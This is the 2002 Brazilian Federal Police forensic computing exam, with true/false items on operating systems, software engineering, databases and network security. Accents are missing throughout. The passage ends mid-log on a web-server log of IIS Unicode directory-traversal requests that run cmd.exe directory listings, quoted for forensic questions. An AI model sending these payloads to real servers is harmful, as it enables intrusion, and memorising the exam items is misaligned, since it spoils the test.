MINISTRIO DA JUSTIA (MJ)

DEPARTAMENTO DE POLCIA FEDERAL (DPF)

ACADEMIA NACIONAL DE POLCIA (ANP)
DIVISO DE RECRUTAMENTO E SELEO (DRS)

CONCURSO PBLICO
Aplicao: 19/1/2002

CARGO:
PERITO CRIMINAL FEDERAL
REA 3 COMPUTAO CIENTFICA

CADERNO DE PROVA:
CONHECIMENTOS ESPECFICOS

LEIA COM ATENO AS INSTRUES NO VERSO.

 MINISTRIO DA JUSTIA (MJ) / DEPARTAMENTO DE POLCIA FEDERAL (DPF)
ACADEMIA NACIONAL DE POLCIA (ANP) / DIVISO DE RECRUTAMENTO E SELEO (DRS)
Concurso Pblico Aplicao: 19/1/2002
CARGO: PERITO CRIMINAL FEDERAL
REA 3 COMPUTAO CIENTFICA

INSTRUES
1 Este caderno constitudo da prova objetiva de Conhecimentos Especficos.

2 Caso o caderno esteja incompleto ou tenha qualquer defeito, o candidato dever solicitar ao fiscal
de sala mais prximo que tome as providncias cabveis.

3 Recomenda-se no marcar ao acaso: cada item cuja resposta divirja do gabarito oficial definitivo
acarretar a perda de 0,20 ponto, conforme consta no Edital n.o 45/2001 ANP/DRS DPF, de
31/10/2001.

4 No permitida a consulta a livros, dicionrios, apontamentos, apostilas, rguas, calculadoras ou

qualquer outro material.

5 Durante a prova, o candidato no dever levantar-se ou comunicar-se com outros candidatos.

6 A durao da prova de trs horas e trinta minutos, j includo o tempo destinado identificao
que ser feita no decorrer da prova e ao preenchimento da Folha de Respostas.

7 A desobedincia a qualquer uma das determinaes constantes nas presentes Instrues, na Folha
de Rascunho ou na Folha de Respostas poder implicar a anulao das provas do candidato.

AGENDA

I 22/1/2002 Divulgao dos gabaritos oficiais preliminares das provas objetivas na Internet no
endereo eletrnico http://www.cespe.unb.br ; nos quadros de avisos do CESPE/UnB, em Braslia;
nas Superintendncias Regionais da Polcia Federal das cidades em que foram aplicadas as provas
e na Academia Nacional de Polcia, em Braslia.
II 23 e 24/1/2002 Recebimento de recursos contra os gabaritos oficiais preliminares das provas
objetivas exclusivamente nos locais que sero informados na divulgao desses gabaritos.
III 1.o/3/2002 Data provvel da divulgao (aps a apreciao de eventuais recursos), no Dirio Oficial
e nos locais mencionados no item I, do resultado final das provas objetivas e do resultado provisrio
da prova discursiva.

Observaes:

No sero objeto de conhecimento recursos em desacordo com o estabelecido no item 9 DOS

RECURSOS do Edital n.o 45/2001 ANP/DRS DPF, de 31/10/2001.
Informaes relativas ao concurso podero ser obtidas pelo telefone 0(XX)614480100.
permitida a reproduo deste material, desde que citada a fonte.
 MINISTRIO DA JUSTIA (MJ) / DEPARTAMENTO DE POLCIA FEDERAL (DPF)
ACADEMIA NACIONAL DE POLCIA (ANP) / DIVISO DE RECRUTAMENTO E SELEO (DRS)
Concurso Pblico Aplicao: 19/1/2002

CARGO: PERITO CRIMINAL FEDERAL

REA 3 COMPUTAO CIENTFICA
Nas questes de 21 a 50, marque, de acordo com o comando de cada uma delas: itens CERTOS na coluna C; itens ERRADOS na
coluna E. Na Folha de Respostas, a indicao do campo SR servir somente para caracterizar que o candidato desconhece a resposta
correta; portanto, a sua marcao no implicar apenao ao candidato. Use a Folha de Rascunho para as devidas marcaes e,
posteriormente, a Folha de Respostas.

CONHECIMENTOS ESPECFICOS
QUESTO 21 QUESTO 22

A programao dos primeiros computadores digitais era realizada

Os computadores digitais so, na realidade, uma evoluo das
antigas mquinas de calcular mecnicas. Fortemente embasados em
tecnologia de eletrnica digital, eles se compem de uma parte
denominada hardware a parte fsica do computador e outra
denominada software os programas ou conjunto de instrues
que permitem a execuo das diversas tarefas. Acerca de
computadores digitais, julgue os itens abaixo.
1 Conceitualmente, o que diferencia um computador de uma
calculadora eletrnica programvel a sua capacidade de
armazenar programas e dados em uma unidade de memria de
massa, usualmente na forma de um disco magntico.
2 A denominada mquina analtica, concebida em 1833 por
Charles Babbage, um engenheiro e matemtico ingls, embora
fosse uma mquina puramente mecnica, continha os princpios
bsicos de um computador moderno. Em funo disso, Charles
Babbage considerado por muitos como Pai da Computao.
3 Devido complexidade atual de sistemas operacionais como
Unix e Windows, requerido que os computadores modernos
disponham de unidades de disco rgido com pelo menos dezenas
de gigabytes de capacidade de armazenamento.
4 O avano tecnolgico dos ltimos cinqenta anos permitiu que
atualmente se disponha, em um nico chip de computador,
uma capacidade de processamento muito superior dos
computadores digitais de primeira gerao, construdos na
dcada de 50, com gabinetes que ocupavam uma sala inteira e
que consumiam grande quantidade de energia eltrica.
5 Os denominados microcomputadores so aqueles computadores
que utilizam uma CPU microprogramada.
em linguagem de mquina, o que restringia a poucos iniciados a
quantidade de programadores, devido necessidade de
conhecimento profundo dos detalhes da arquitetura da mquina.
Julgue os itens a seguir, relacionados a esse assunto.
1 A criao dos chamados programas montadores, ou assemblers,
simplificou a tarefa de programao de uma mquina,
permitindo que se utilize uma linguagem simblica, ou
assembly, para a construo de programas a serem
posteriormente convertidos para a linguagem de mquina pelo
montador. Em funo de sua ainda estreita relao com a
arquitetura da mquina, as linguagens assembly so tambm
especficas para cada tipo de CPU.
2 Compiladores so programas capazes de traduzir um programa
escrito em uma linguagem de programao de alto nvel, ou
seja, mais prxima de uma linguagem natural e independente da
arquitetura da mquina, para o cdigo de mquina necessrio
para ser executado. Assim, embora, para escrever um programa
em uma linguagem do tipo C, no seja essencialmente
necessrio conhecer a arquitetura da mquina em que ele ser
executado, para execut-lo em uma mquina especfica ser
necessrio utilizar tambm um compilador especfico para
aquele tipo de mquina.
3 Examinando-se o contedo de uma posio qualquer da
memria principal de um computador, pode-se imediatamente
determinar se aquela posio est sendo ocupada por uma
instruo de um programa, ou um endereo referenciado pelo
programa, ou, ainda, um dado do programa, pois esses trs tipos
de informao tm formataes distintas na memria.
4 O tamanho da palavra bsica utilizada por uma CPU, por
exemplo 16 bits ou 32 bits, determinante para o tamanho dos
nmeros que um computador com essa CPU pode manipular.
Assim, em um computador de 32 bits, tem-se sempre maior
preciso nos clculos que em um computador de 16 bits.
5 Uma caracterstica essencial dos computadores a sua
capacidade de tomar decises, modificando o fluxo de execuo
das instrues de um programa em funo de resultados
anteriores. Essa caracterstica deve-se ao fato de que as
linguagens de programao possuem instrues do tipo
IF ... THEN, ou semelhantes.

UnB / CESPE MJ / DPF / ANP / DRS Concurso Pblico Aplicao: 19/1/2002

Cargo: Perito Criminal Federal / rea 3 Computao Cientfica 1 / 13 permitida a reproduo, desde que citada a fonte.
 QUESTO 23
Sistemas operacionais so essencialmente programas
gerenciadores dos recursos disponveis em um
computador. Efetivamente, eles determinam a maioria das
caractersticas perceptveis por um usurio da mquina.
Em funo dessas caractersticas, julgue os itens em
seguida.
1 O MS-DOS, utilizado originalmente nos PCs, um
sistema multitarefas e monousurio. J o Microsoft
Windows, nas verses NT e 2000, um sistema
multiusurios, enquanto nas verses 9X um sistema
monousurio. O Unix essencialmente um sistema
multitarefas e multiusurios.
2 Denomina-se Shell um interpretador de comandos que
realiza a interface entre um sistema operacional e o
usurio. por meio do Shell que o usurio
normalmente passa, ao sistema operacional, comandos
dos tipos dir, copy e run. Normalmente, os sistemas
operacionais do tipo Unix podem dispor de mais de um
Shell, que pode ser escolhido pelo usurio, conforme
suas preferncias.
3 O Windows o nico sistema operacional a oferecer
um ambiente de janelas, da a sua popularidade, por
facilitar sua utilizao por usurios leigos.
4 Os sistemas operacionais modernos geralmente tm
uma configurao-padro de instalao, em que alguns
usurios e servios j esto predefinidos. importante
se manter essa configurao-padro, eventualmente
acrescentando-se outros usurios e servios, conforme
necessrio, para possibilitar a realizao de
atualizaes do sistema que venham a ser
disponibilizadas pelos fabricantes ou fornecedores.
5 O controle de acesso aos recursos de um sistema
computacional essencial para a segurana do mesmo.
Quando essa uma preocupao, importante a
utilizao de um sistema operacional que disponha de
mecanismos prprios para o estabelecimento de uma
poltica de controle de acesso. Nesse sentido, a escolha
de um ambiente Windows NT/2000 ou Unix
prefervel a um ambiente MS-DOS ou Windows 9X,
quando segurana um ponto a considerar.
UnB / CESPE MJ / DPF / ANP / DRS
Cargo: Perito Criminal Federal / rea 3 Computao Cientfica 2 / 13
QUESTO 24
Os ambientes de computao e de comunicao da informao vm-se
caracterizando por aportar a flexibilidade e as funcionalidades necessrias
a um bom desempenho e obteno da qualidade nas empresas no ambiente
de negcios e nas organizaes em geral, exigindo assim abordagens
prprias de planejamento, projeto, implementao e suporte, abordagens
essas ligadas s caractersticas negociais e organizacionais. Acerca dessas
abordagens e da correlao entre sistemas de tratamento e comunicao da
informao com os processos negociais e organizacionais, julgue os itens que
se seguem.
1 Uma arquitetura de dados que prov o contexto para atendimento s
necessidades de informao de um determinado negcio deve identificar
os objetos de dados usados nesse negcio e delimitar os atributos desses
objetos, bem como as relaes entre objetos.
2 Uma arquitetura de aplicaes apropriada para um negcio deve limitar-
se aos elementos de software e de tecnologias da informao e das
comunicaes necessrios para o tratamento das informaes da
arquitetura de dados, de modo a atender aos propsitos do negcio em
questo.
3 O planejamento de uma estratgia de informaes deve apresentar uma
abordagem hierrquica que permita a anlise tanto das necessidades
globais de informao do negcio, quanto das necessidades de cada
domnio particular que componha o negcio.
4 No contexto do planejamento da estratgia de informaes, um dos
problemas especficos da anlise de necessidades informacionais a
delimitao de escopo dos sistemas de informao e comunicao.
5 Na anlise de necessidades de informao, constata-se que, embora os
usurios tenham um entendimento completo das necessidades e do
domnio do problema negocial, tais usurios de sistemas de informao
tm dificuldade em comunicar suas necessidades aos engenheiros de
sistemas e terminam por especificar os requerimentos de maneira
ambgua e sem critrios claros de verificao.
QUESTO 25
Nas arquiteturas de sistemas de informao modernos, integrando acesso,
transporte, processamento e armazenamento da informao, um importante
papel cabe ao middleware, o assim denominado software subjacente s
aplicaes e que inclui funes de comunicao, controles operacionais,
elementos de gerncia e de segurana, suporte programao e operao
dos sistemas distribudos etc., elementos fundamentais s arquiteturas
modernas de sistemas do tipo cliente-servidor, com duas ou trs camadas, e
sistemas distribudos de uma maneira geral. Acerca dos diversos elementos
de middleware e dessas possveis arquiteturas, julgue os seguintes itens.
1 Um exemplo de middleware considerado fundamental segurana nos
sistemas de arquitetura WWW so os secure sockets que permitem s
aplicaes usufruir de servios de segurana relativos autentificao das
partes comunicantes, integridade e confidencialidade dos dados.
2 Os objetos distribudos, associados com a tecnologia CORBA,
caracterizam-se por exigir homogeneidade da linguagem de programao
utilizada no desenvolvimento desses objetos.
3 Em uma arquitetura cliente-servidor a duas camadas, o middleware tem
o papel de prover a interoperao entre a camada de servidor de
aplicao e a camada de banco de dados.
4 Normalmente, uma arquitetura cliente-servidor a trs camadas usada
quando h pouco processamento a ser feito sobre os dados.
5 Uma arquitetura cliente-servidor a trs camadas caracteriza-se por
impossibilitar que a camada intermediria, tambm denominada camada
de servidor de aplicao ou camada de processamento, resida no mesmo
sistema servidor da camada de banco de dados.
Concurso Pblico Aplicao: 19/1/2002
permitida a reproduo, desde que citada a fonte.
 QUESTO 26
Tcnicas de reengenharia de sistemas vm sendo incorporadas
sistematicamente prtica corrente da engenharia de software, em
especial devido ao suporte oferecido pelas modernas ferramentas
CASE a esse tipo de tcnica. Assim, as tcnicas de engenharia
direta e reversa, de reestruturao de cdigo e de documentao
integram-se s tcnicas de gesto de configurao, documentao
e requisitos, entre outras. Em atividades de auditoria de sistemas, a
utilizao de tcnicas de reengenharia assistida por uma ferramenta
CASE pode ser bastante til para revelar detalhes internos de
sistemas existentes, muitas vezes ocultos na documentao
disponvel, bem como auxiliar na identificao de alteraes de
configurao, documentao e especificao de requisitos desses
sistemas. Acerca da utilizao de tcnicas de reengenharia assistidas
por ferramentas CASE em auditoria de sistemas, julgue os itens a
seguir.
1 Quando a documentao de um programa ou sistema no est
disponvel, suficiente realizar uma engenharia reversa
automtica a partir do cdigo-fonte para descobrir quais so as
suas principais funcionalidades e a semntica de suas estruturas
de dados internas mais importantes. Entretanto, os detalhes de
implementao internos a cada funcionalidade no podem ser
revelados ou evidenciados com esse tipo de tcnica.
2 A engenharia direta, a partir da documentao e dos modelos
existentes em ferramenta CASE, pode ser usada para gerar a
estrutura bsica do cdigo-fonte correspondente a esses
modelos. Tal cdigo, gerado automaticamente, pode ser usado
em termos comparativos com o cdigo-fonte do programa que
est sendo analisado, com o objetivo de identificar diferenas
entre as especificaes constantes da documentao e as
estruturas realmente implementadas.
3 Alteraes maliciosas em programas podem ser detectadas
automaticamente com o emprego sistemtico de ferramentas
adequadas de controle de verso, que mantm indicadores de
integridade do cdigo-fonte e do cdigo executvel ou que
podem determinar diferenas entre verses anteriores existentes
em cpias de segurana e em verses mais novas.
4 Ferramentas de controle de verso, que mantm controle de
alteraes embasado nos registros de datas de modificao e
excluso de arquivos integrados e mantidos pelo sistema
operacional, geram informaes e revelam, sem equvocos, a
ocorrncia de alteraes em qualquer arquivo do projeto,
mesmo que a natureza da alterao no possa ser claramente
identificada.
5 Registros de log gerados pelas ferramentas CASE, quando de
seu uso sistemtico no desenvolvimento de sistemas, auxiliam
na descoberta de trilhas de auditoria de modificaes nesses
sistemas.
UnB / CESPE MJ / DPF / ANP / DRS
Cargo: Perito Criminal Federal / rea 3 Computao Cientfica 3 / 13
QUESTO 27
A gesto de projetos de engenharia de software, alm de envolver
heursticas relacionadas s boas prticas de gesto de recursos e de
pessoal, envolve cada vez mais a definio e a aplicao sistemtica
de mtricas objetivas para avaliao e acompanhamento da
evoluo dos riscos, da qualidade e do prprio ciclo de vida
(processo) do software. Acerca das mtricas de projeto, julgue os
itens que se seguem.
1 Mtricas relacionadas a tamanho de cdigo-fonte so
sistematicamente aplicadas e teis. Entretanto, esse tipo de
mtrica no pode ser utilizado para a realizao de medidas
comparativas entre projetos que utilizem linguagens de
programao diferentes.
2 Mtricas de qualidade s podem ser definidas em termos
de parmetros subjetivos de qualidade. Assim, tais
mtricas devem ser avaliadas na forma de questionrios
aplicados sistematicamente aos usurios do sistema em
desenvolvimento.
3 A estimativa de pontos de funo para um sistema ou mdulo a
ser construdo realizada com o objetivo de dimensionar os
recursos financeiros e os prazos estimados para a realizao das
etapas do projeto.
4 A avaliao de riscos consiste em avaliar objetivamente quais
os possveis prejuzos decorrentes do no-atendimento das
especificaes para os requisitos do projeto.
5 O produto da probabilidade de sucesso de uma etapa do projeto
por uma varivel que dimensione o impacto (financeiro e(ou)
temporal) relacionado ao no-cumprimento da etapa define
objetivamente o risco associado a essa etapa.
QUESTO 28
A gerncia de configurao e o controle de verses constituem
processos fundamentais do desenvolvimento de software. Acerca
desses processos e das tcnicas a eles associadas, julgue os itens a
seguir.
1 A configurao de um software constituda de trs grandes
classes de itens: os programas-fonte e executveis, os
documentos que descrevem tais programas e os dados internos
e externos necessrios operacionalizao dos programas, itens
esses que compreendem a informao produzida como parte do
processo de engenharia do software.
2 Constata-se para os softwares de ciclo de vida longo que,
medida que o software evolui, a quantidade de itens de
configurao se estabiliza a partir de determinado momento do
ciclo de vida.
3 O padro IEEE Std. 610.12-1990 define o conceito de baseline,
que se trata de uma especificao (ou qualquer produto
resultante do desenvolvimento) que foi revista formalmente e
obteve aprovao, podendo assim servir de referncia ou base
para novos desenvolvimentos, e que s pode ser modificada por
intermdio de procedimentos formais de controle de
modificaes.
4 So tarefas bsicas da gerncia de configurao a identificao
de itens de configurao, o controle de verses, o controle de
modificaes, a auditoria de configurao e o relatrio de status
de configurao.
5 Por ser um processo que se caracteriza por exigir um grau de
inteligncia muito alto, constata-se que praticamente no
existem ferramentas de automao da gerncia de configurao,
ainda que existam ferramentas especficas restritas ao controle
de verses.
Concurso Pblico Aplicao: 19/1/2002
permitida a reproduo, desde que citada a fonte.
 QUESTO 29
Os SGBDs constituem elementos importantes na arquitetura dos
sistemas de informao atuais. Esses sistemas implementam, de
acordo com as suas caractersticas prprias e a sua configurao,
servios que vo desde a manipulao e o armazenamento fsico
dos dados at a gesto de segurana das informaes. Assim, os
sistemas de informao podem ser concebidos utilizando
recursos e servios disponveis nos SGBDs e delegando para
estes boa parte de suas funcionalidades. Portanto, a recuperao
e a auditoria de sistemas de informao podem depender,
tambm, muitas vezes, de ferramentas e servios de auditoria, de
recuperao de dados ou da gerncia de segurana disponveis
nos SGBDs utilizados. Acerca da utilizao de ferramentas e
servios de auditoria, recuperao e gesto de segurana dos
principais SGBDs, julgue os itens subseqentes.
1 Em sistemas de bancos de dados de acesso concorrente, a
manuteno de jornais para as operaes em andamento
permite a recuperao do estado anterior ao de uma
operao, caso ocorra uma falha durante a execuo dessa
operao.
2 Os SGBDs modernos nada mais so que sofisticados
sistemas de controle de acesso embasado em uma poltica de
segurana definida em termos de perfis de usurios.
3 Todos os eventos relativos a tentativas de execuo de
operaes no-permitidas explicitamente pela poltica de
segurana geram registros nos sistemas de log dos SGBDs
modernos. Tais informaes so fontes teis para a
identificao de tentativas de ataques a sistemas de banco de
dados.
4 Ataques a sistemas de bancos de dados por abuso de
privilgios so possveis em sistemas com uma poltica de
acesso pouco restritiva. A identificao desses ataques a
partir dos sistemas de auditoria e de registro (log) do SGBD
normalmente difcil, uma vez que operaes permitidas
pela poltica de segurana jamais geram registro.
5 O armazenamento fsico das informaes pelos SGBDs
feito normalmente na forma de arquivos com formatos
prprios, fazendo que a recuperao das informaes,
quando da danificao dos arquivos e da ausncia de cpias
de segurana, necessite de conhecimento apropriado dos
formatos de armazenamento fsico. Em tal tipo de falha, nem
sempre a recuperao completa das informaes possvel,
podendo ser nula, dependendo dos setores do arquivo que
tenham sido danificados.
UnB / CESPE MJ / DPF / ANP / DRS
Cargo: Perito Criminal Federal / rea 3 Computao Cientfica 4 / 13
QUESTO 30
A segurana de um banco de dados e a proteo da informao
armazenada so fatores fundamentais na escolha da arquitetura do
banco de dados, dos modelos lgicos e fsicos utilizados, bem como na
definio de restries e de critrios de acesso que devem ser
associados utilizao das linguagens de consulta, assuntos que so
inclusive objeto de exigncias de grandes organismos consumidores de
software, assim como de governos de diversos pases. Acerca das
correlaes entre a proteo dos bancos de dados e das informaes e
as escolhas estruturais e funcionais para a utilizao dos bancos de
dados, bem como de exigncias aplicveis no mercado internacional,
julgue os itens seguintes.
1 Os SGBDs modernos tipicamente suportam pelo menos uma
abordagem de segurana de dados, seja ela uma abordagem de
controle discricionrio, seja de controle mandatrio.
2 No controle mandatrio, cada objeto armazenado assinalado com
um certo nvel de classificao, enquanto a cada usurio atribudo
um nvel de liberao. Um determinado objeto s poder ser
acessado por usurios com a liberao apropriada.
3 Para que o sistema de banco de dados possa checar se uma dada
solicitao de acesso est de acordo com as regras de segurana
aplicveis, suficiente que se especifique o objeto solicitado e o
usurio solicitante, para efeito de anlise pelo subsistema de
autorizao do SGBD.
4 Como no se pode assumir que o sistema de segurana perfeito,
uma prtica fundamental a estruturao de uma trilha de auditoria
para examinar o que vem acontecendo e verificar se alguma
operao ou seqncia de operaes provocou violao da
segurana.
5 Um dos possveis ataques que devem ser evitados pelos
subsistemas de proteo dos bancos de dados o ataque por
inferncia, em que, a partir das respostas a consultas autorizadas,
o atacante procura inferir uma resposta a uma consulta que no
seria autorizada. A identificao e a eliminao desses ataques
um tipo de controle mandatrio exigido para sistemas de bancos de
dados da classe C, segundo a classificao do Orange Book do
Departamento de Defesa dos Estados Unidos da Amrica.
QUESTO 31
O desenvolvimento de sistemas de informao concebidos para
emprego e utilizao de arquitetura Web acarreta um conjunto de
requisitos para as fases de projeto (design) e de implementao do
ciclo de vida do software. Esses requisitos precisam ser considerados
desde as fases de anlise e concepo dos sistemas, alm de
influenciarem na definio da metodologia e da abordagem de
desenvolvimento a serem seguidas. Julgue os itens seguintes, acerca de
metodologias de desenvolvimento de sistemas e de requisitos de
projeto e implementao para sistemas com arquitetura Web.
1 A utilizao de tcnicas de orientao a objetos imperativa para
o projeto de interfaces, ainda que esse no seja necessariamente o
caso para o projeto de banco de dados.
2 Mtodos de projeto de sistemas hbridos, incorporando conceitos
da concepo estruturada e da concepo por objetos,
simultaneamente, no so raros, ainda que existam caractersticas
conflitantes entre os dois tipos de metodologias.
3 A engenharia de sistemas deve considerar a definio de um
ambiente de comunicao e operao em rede, pois impossvel
obter, com uso de tecnologia Web, um sistema que possa ser
executado em um nico computador hospedeiro.
4 Um requisito tpico para projeto de sistemas para ambientes do tipo
Web a implementao de interfaces em linguagem HTML e suas
principais extenses.
5 O ciclo de vida de desenvolvimento de um software com
arquitetura Web no precisa ser necessariamente diferente do ciclo
de vida de um sistema stand alone.
Concurso Pblico Aplicao: 19/1/2002
permitida a reproduo, desde que citada a fonte.
 QUESTO 32
Muitas das principais linguagens de programao da atualidade
so linguagens cujas regras sintticas e semnticas incluem regras
explcitas para o emprego de tipos de dados elementares e
estruturas compostas e derivadas. Acerca da utilizao de tipos de
dados e estruturas nas linguagens de programao freqentemente
usadas na atualidade, julgue os seguintes itens.
1 Em Java 2TM e em ANSI/ISO C++, a converso (casting)
entre tipos elementares para representao de variveis
numricas geralmente automtica, mas deve ser anotada
explicitamente sempre que existir a possibilidade de reduo
de preciso.
2 A palavra-chave class usada para definir tipos derivados em
Java e em C++, duas linguagens orientadas a objetos. De fato,
tais tipos constituem as principais estruturas dos programas
orientados a objetos, escritos nessas linguagens.
3 No existem ponteiros em Java, tipos encontrados
freqentemente em programas C/C++, mas tipos equivalentes
a ponteiros so construdos pela utilizao de referncias em
Java.
4 Em C++, o casting de qualquer tipo de ponteiro para void*
permitido. Entretanto, esse recurso est cada vez mais em
desuso, aps a introduo do suporte a Run Time Type
Information em C++.
5 Ponteiros para funes so recursos da linguagem C/C++ que
permitem enderear trechos de cdigo executvel.
QUESTO 33
A construo e a utilizao de cdigos-fonte de programas de
computador possuem caractersticas diferentes em funo do tipo
de linguagem. Assim, o uso de cada linguagem est ligado ao
emprego de ferramentas especficas para a interpretao e a
execuo do cdigo-fonte. Acerca da maneira como os cdigos-
fonte das principais linguagens de programao so utilizados
para a gerao de programas de computador e acerca das
ferramentas disponveis para essa finalidade, julgue os itens
abaixo.
1 Compiladores para linguagens C, C++, Pascal e Java no
geram cdigo executvel.
2 Montadores so compiladores para linguagens de baixo nvel,
mas, ao contrrio destes, geram cdigos que podem ser
carregados diretamente em memria e executados.
3 Ligadores so, por definio, utilizados para construir, a partir
de fragmentos disjuntos de cdigo-objeto, seguimentos
endereveis que constituem unidades autnomas e
independentes de execuo.
4 Interpretadores de comandos so mquinas virtuais que geram
cdigo executvel diretamente a partir do cdigo-fonte, como
o caso de interpretadores PERL e Java.
5 Extenses de HTML permitem embutir elementos de cdigo
Java em unidades HTML, que so compilados e interpretados
no lado cliente, no caso de applets, e no lado servidor, no caso
de servlets. Alternativamente, JavaScript e JSP permitem a
elaborao de cdigos com sintaxe bastante semelhante da
linguagem Java, mas que podem ser executados sem
compilao prvia, respectivamente nos lados cliente
(navegadores) e servidor de aplicaes distribudas.
UnB / CESPE MJ / DPF / ANP / DRS
Cargo: Perito Criminal Federal / rea 3 Computao Cientfica 5 / 13
QUESTO 34
A integridade da informao considerada uma das propriedades
fundamentais da segurana da informao. Os protocolos de redes de
comunicao, com o objetivo de garantir a integridade da informao
durante as comunicaes, empregam vrios procedimentos
especficos que trabalham com base em campos de controle definidos
dentro das prprias unidades de dados dos protocolos, a exemplo dos
campos destinados a seqenciamento da informao, reconhecimento
das transmisses e verificao de erros de transmisso. Acerca dos
campos de verificao de erros nos protocolos de redes, julgue os
itens a seguir.
1 Nos casos de utilizao de cdigos de redundncia cclica (CRC),
dados os blocos de bits da mensagem, o transmissor gera uma
seqncia de verificao de erros de quadro (FCS), que
acrescentada mensagem original, de tal modo que a mensagem
resultante exatamente divisvel por um nmero predeterminado.
Cabe ao receptor fatorar a mensagem e descobrir esse nmero,
considerando a mensagem correta caso tenha sucesso na
fatorao.
2 O quadro do MAC ethernet 802.3 a 10 Mbps possui um campo de
verificao FCS, com cdigo de redundncia cclica de 32 bits,
calculado sobre todos os demais campos, exceto o campo de
prembulo do quadro.
3 Nos pacotes IP, o campo denominado header checksum, de
16 bits, aplicado somente ao cabealho dos pacotes e deve ser
verificado e recalculado em cada roteador, posto que alguns
campos do cabealho IP podem ser modificados durante o
trnsito.
4 Posto que o protocolo UDP no oferece garantia de entrega das
mensagens, o campo de checksum dos datagramas UDP no
utilizado para verificao de integridade, sendo colocado na
unidade de transmisso apenas para manter a mesma formatao
do checksum do TCP.
5 Nas clulas ATM, o campo de 8 bits header error control (HEC),
calculado a partir de apenas 32 bits do restante do cabealho,
permite tanto a deteco de erros, quanto, em alguns casos, a
correo deles.
QUESTO 35
Reconhecendo que a segurana do protocolo IP um importante
aspecto no contexto de uma rede segura com arquitetura TCP/IP, o
IETF vem publicando vrias RFCs que definem uma capacidade
especfica de segurana no nvel IP (IPSec), incluindo
funcionalidades de autentificao e de confidencialidade como
extenses para esse protocolo nas suas verses 4 e 6. Acerca do
IPSec, julgue os itens abaixo.
1 Um conceito-chave que aparece tanto nos mecanismos de
autentificao, quanto de confidencialidade do IPSec a
associao de segurana. Uma associao desse tipo consiste em
um relacionamento bidirecional entre um transmissor e um
receptor.
2 O mecanismo de authentication header (AH) do IPSec prov
suporte tanto para a integridade dos dados, quanto para a
autentificao dos pacotes IP.
3 O suporte a IPSec opcional em IPv4 e IPv6.
4 Para efeito do AH, os dados de autentificao so calculados
sobre o pacote IP integral, excluindo qualquer campo que possa
ser modificado em trnsito. Tais campos so considerados como
bits zero para o propsito de clculos nos pontos de origem e
destino.
5 O mecanismo de encapsulating security payload (ESP) prov
suporte tanto integridade quanto confidencialidade dos pacotes
IP. Em funo de requisitos de aplicao, esse mecanismo pode
ser usado para cifrar tanto o segmento da camada de transporte
(TCP e UDP, por exemplo), quanto o pacote IP inteiro, sendo tais
modos de utilizao conhecidos, respectivamente, como ESP em
modo transporte e ESP em modo tnel.
Concurso Pblico Aplicao: 19/1/2002
permitida a reproduo, desde que citada a fonte.
Texto CE questes de 36 a 38

Os trechos abaixo foram retirados de um arquivo de log referente a acessos a um servidor http.

atacker1.nowhere.com - - [01/Nov/2000:18:20:49 +0000] "GET

/scripts/..%C0%AF../winnt/system32/cmd.exe?/c+dir+c:\ HTTP/1.0" 404 306
atacker2.nowhere.com - - [11/Jan/2001:09:24:05 +0000] "GET
/scripts/..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%
af/winnt/system32/cmd.exe?/c%20dir HTTP/1.1" 404 344
atacker2.nowhere.com - - [11/Jan/2001:09:24:05 +0000] "GET
/iisadmpwd/..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c
0%af..%c0%af/winnt/system32/cmd.exe?/c%20dir HTTP/1.1" 404 346
atacker2.nowhere.com - - [11/Jan/2001:09:24:06 +0000] "GET
/msadc/..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af/
winnt/system32/cmd.exe?/c%20dir HTTP/1.1" 404 342
atacker2.nowhere.com - - [11/Jan/2001:09:24:06 +0000] "GET /cgi-
bin/..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af/wi
nnt/system32/cmd.exe?/c%20dir HTTP/1.1" 404 344
atacker2.nowhere.com - - [11/Jan/2001:09:24:06 +0000] "GET
/_vti_bin/..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0
%af/winnt/system32/cmd.exe?/c%20dir HTTP/1.1" 404 345
atacker2.nowhere.com - - [11/Jan/2001:09:24:06 +0000] "GET
/wwwroot/..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%
af/winnt/system32/cmd.exe?/c%20dir HTTP/1.1" 404 344
atacker3.nowhere.com - - [19/Jan/2001:08:18:37 -0200] "GET
/scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir+c: HTTP/1.0" 404 461
atacker3.nowhere.com - - [19/Jan/2001:08:18:37 -0200] "GET
/scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir+c: HTTP/1.0" 404 461
atacker4.nowhere.com - - [22/Jan/2001:21:19:27 -0200] "GET
/IISADMPWD/..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af...%c0%af..%c0%af..%
c0%af/winnt/system32/cmd.exe?/c+dir+c:\ HTTP/1.0" 200 607
atacker4.nowhere.com - - [22/Jan/2001:21:19:49 -0200] "GET
/IISADMPWD/..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af...%c0%af..%c0%af..%
c0%af/winnt/system32/cmd.exe?/c+dir+c:d:\ HTTP/1.0" 502 283
atacker4.nowhere.com - - [22/Jan/2001:21:20:08 -0200] "GET
/IISADMPWD/..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af...%c0%af..%c0%af..%
c0%af/winnt/system32/cmd.exe?/c+dir+d:\ HTTP/1.0" 200 342
atacker4.nowhere.com - - [22/Jan/2001:21:20:25 -0200] "GET
/IISADMPWD/..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af...%c0%af..%c0%af..%
c0%af/winnt/system32/cmd.exe?/c+dir+e:\ HTTP/1.0" 200 543
atacker5.nowhere.com - - [23/Jan/2001:04:28:41 -0200] "GET
/IISADMPWD/..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af...%c0%af..%c0%af..%
c0%af/winnt/system32/cmd.exe?/c+dir+c:\ HTTP/1.1" 200 607
atacker5.nowhere.com - - [23/Jan/2001:04:29:00 -0200] "GET
/IISADMPWD/..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af...%c0%af..%c0%af..%
c0%af/winnt/system32/cmd.exe?/c+dir+c:\inetpub HTTP/1.1" 200 493
atacker5.nowhere.com - - [23/Jan/2001:04:29:06 -0200] "GET
/IISADMPWD/..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af...%c0%af..%c0%af..%
